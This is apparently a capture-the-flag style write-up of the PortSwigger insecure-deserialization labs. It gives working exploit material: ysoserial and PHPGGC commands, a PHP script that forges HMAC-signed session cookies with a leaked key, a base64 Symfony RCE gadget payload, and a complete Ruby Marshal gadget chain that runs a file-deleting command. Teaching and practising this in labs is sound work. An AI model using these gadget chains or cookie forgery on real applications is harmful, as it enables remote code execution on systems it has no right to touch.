Insecure De-serialization
Serialization is the process of converting complex data structures, such as objects and their fields, into a “flatter” format that can be sent and received as a sequential stream of bytes
Deserialization is the process of restoring this byte stream to a fully functional replica of the original object, in the exact state as when it was serialized. The website’s logic can then interact with this deserialized object, just like it would with any other object
In this writeup, i will take you through all the Insecure De-serialization labs provided by https://portswigger.net/web-security/deserialization
Lab: Modifying serialized data types
We will begin the lab by simply login in with the provided credentials and observe how the application behaves.
A close look at the response from burp, we get a set cookie that is base64 encoded with which we can use the inspector or the decoder to decode.
The cookie value has two parts; the username and the access token.
Accessing the Admin
We can try changing the value of wiener to administrator, and use the access token as an integer i;0, and finally change the length of the string ‘wiener’ to that of the ‘administrator’ in this case, we could use the echo command to determine the length of the string ‘administrator’.
echo -n 'administrator' | wc -c
>13When we visit /admin we get logged in as admin.
We can now delete the user carlos and solve the lab.
Lab: Exploiting Java deserialization with Apache Commons
This lab utilizes java object serialization, the lab will require you to be able to identify serialization & deserialization of data. In this case, we can tell the type of serialization used from the request in burp.
From the above Cookie: session rO0; indicates that this is a serialized java object that has been base 64 encoded.
Note:
serialized objects beginning with:
1. ac ed > indicates a java object that is encoded as hexadecimal.
2. rO0 > indicates a java object that is encoded as base64.
3. O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;} > indicates php serialization formatWhen we decode the cookie session with the inspector, we clearly see that the serialized object is of class AccessTokenUser which has; accessToken and username attributes as shown in the screenshot below.
What we know so far
- The session cookie is using a serialized java object
- The token has two fields, the AccessToken and the username
- we need to delete the file
With this information, we do not have much to go by but try to craft a payload with which we can swap with the cookie session of the application and force access to the backend of the application to execute as AcessUserToken.
To achieve this, we need to use the tool ysoserial which is a tool for generating payloads that exploit unsafe java serialized objects.
Ysoserial usage
In this instance, we will be using the payload as: CommonsCollections4 and the command as the path to be deleted: ‘rm /home/carlos/morale.txt’
Lets generate our payload.
We pipe the output to cookie.txt to get rid of the unnecessary spaces | base64 -w 0 > cookie.txt
With this payload, we can replace our cookie value to that of the generated payload and url encode it.
We get a 500 internal error but upon refreshing the lab we realise that we have solved the lab.
This means that despite the application failing to get a valid AccessTokenUser still our payload did execute in the back end.
Lab: Using application functionality to exploit insecure deserialization
This lab utilizes a serialized PHP cookie object mechanism.
There is a file located at ‘/home/carlos/morale.txt’ that we need to delete in order to solve the lab.
We are provided with two login details:
wiener:peter,gregg:rosebud
First we start by login in to one of these accounts.
Notice the delete account at the bottom of the page.
Send the Delete account request to burp and and observe the decoded cookie with the inspector.
Notice the serialized php code and observe the path “users/wiener/avatar” with content length 19.
Remember the path ‘/home/carlos/morale.txt’ that we are required to delete in order to solve the lab.
What happens when we replace this path with the current path?
s:23:”/home/carlos/morale.txt”;
Notice that the content length changes with the path.
Apply the changes and send the request.
Congratulations you’ve solved the lab.
— — — — —
Lab: Arbitrary object injection in PHP
In this lab, we are required to delete a file located at ‘/home/carlos/morale.txt’ to achieve this, we will read the source code of the lab by appending a a tilde (~) to a file name to generate a backup file.
With burp suite running, login to your account and switch to site map in burp to locate the extension file.
Notice the /libs/CustomTemplate.php extension. Send this to the repeater.
Get Iam_Wander’s stories in your inbox
Join Medium for free to get updates from this writer.
Once in the repeater, append the .php extention with a tilde(~) and notice the source code.
Observe that there is a custom template with function __destruct() at the end of the response. This has a lock_file_path attribute which will delete the file path.
Using the inspector, notice that the application uses a serialized php object that is url encoded.
What happens when we write our own serialized PHP object using the CustomTemplate we discovered from the tilde above and replace it with existing cookie value?
"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
Note we used the integer as 1 since we are only using one attribute “lock_file_path”.
Apply the changes and forward the request , notice you get a 500 Internal Server Error. Proceed to refresh the lab to solve it.
Lab: Exploiting PHP de serialization with a pre-built gadget chain
This lab utilizes a signing cookie and a PHP Framework. To solve the lab, we will have to identify if the PHP framework is vulnerable to an RCE exploit and craft a base64 object which we can use with the secret key to generate a valid session cookie. We will swap this cookie with the original cookie and therefore be able to delete the file ‘morale.txt’ located in ‘/home/carlos’
We start the lab by logging into our account using wiener:peter
Observe the cookie value from the inspector tab.
Notice the cookie contains a token signed with a SHA-1 HMAC hash
Exposing PHP Framework
Observe that whenever you try to modify the session cookie, the application throws an error as shown below.
This is a useful clue, now we know the application run a php framework Symfony version 4.3.6, a mere googling for its RCE exploit, we get even more useful clues about what tool to use to generate an un serialized payload.
The PHPGGC: PHP Generic Gadget Chains
Using this tool, we can create an un serialized payload and base64 encode it. We can move ahead to create a near valid cookie session with this payload using a php scripted payload.
<?php $object = "OBJECT-GENERATED-BY-PHPGGC"; $secretKey = "LEAKED-SECRET-KEY-FROM-PHPINFO.PHP"; $cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}'); echo $cookie;
We can also create a valid session cookie from the CLI as follows;
command=$(./phpggc -f -b Symfony/RCE1 "rm /home/carlos/morale.txt");x=$( echo -n $command);y=$(echo -n $x | openssl sha1 -hmac "g8ffja92adxkuz3681mg16suuoo3sbxd" | cut -c 14-);urlencode '{"token":"'$x'","sig_hmac_sha1":"'$y'"}'PHPGCC tool Usage
Execute ./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64 -w 0 to generate the serialized object, theusing flags -w 0 helps to get rid of the spaces in the base64 encoded object.
Developer Comments
Looking for developer comments from burp, we can see a path that discloses a debug file
/cgi-bin/phpinfo.php
You can also find this path by simply fuzzing for hidden directories using ffuf,dirb or gobuster.
Request the path using burp suite and observe that a sensitive secret key gets disclosed.
Now lets create a valid session token using the payload from the phpggc tool and assign it with the secret key obtained.
<?php
$object = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==";
$secretKey = "7vb4gga40fr05m75bwb8q4lwlqncuo3m";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;Run the exploit
Replace the generated cookie with the original cookie;
Send the request and refresh the lab to solve.
Lab: Exploiting Ruby deserialization using a documented gadget chain
This lab uses a serialization-based session mechanism and the Ruby on Rails framework.
To be able to solve the lab, we will use a documented exploit and customize it to create a serialized object containing an RCE Payload. We will replace our session cookie to this serialized payload to be able to delete the file, Morale.txt
We start the lab by logging into our account, ensure that you proxy your requests through burp.
Decoding the cookie session shows marshall-dump ‘conversion to byte array’ for the object and a marshal-load which tries to reconstruct the object, this clearly indicates that the object is ruby serialized.
What next?
With this knowledge, we can try craft an exploit with the command we need to execute, in this case ‘rm /home/carlos/morale.txt’
in this case, we will use a Universal Deserialisation Gadget for Ruby 2.x-3.x exploit by Vaks https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html and replace the parameters to the final exploit shown below.
Before configure and after
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect
puts Marshal.load(payload)# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payloadNotice:
the id parameter is replaced with ‘rm /home/carlos/morale.txt’
i deleted the last two lines and replaced with puts payloads as i will base64 encode it on the terminal.
Running the Exploit
Once you save the exploit, eg, exploit.rb . You can run it in either two ways on the terminal
$ ruby exploit.rb | base64 -w 0$ chmod +x exploit.rb
$ ./exploit.rbUrl encode the generated object and replace it with your session cookie. Refresh to solve the lab.







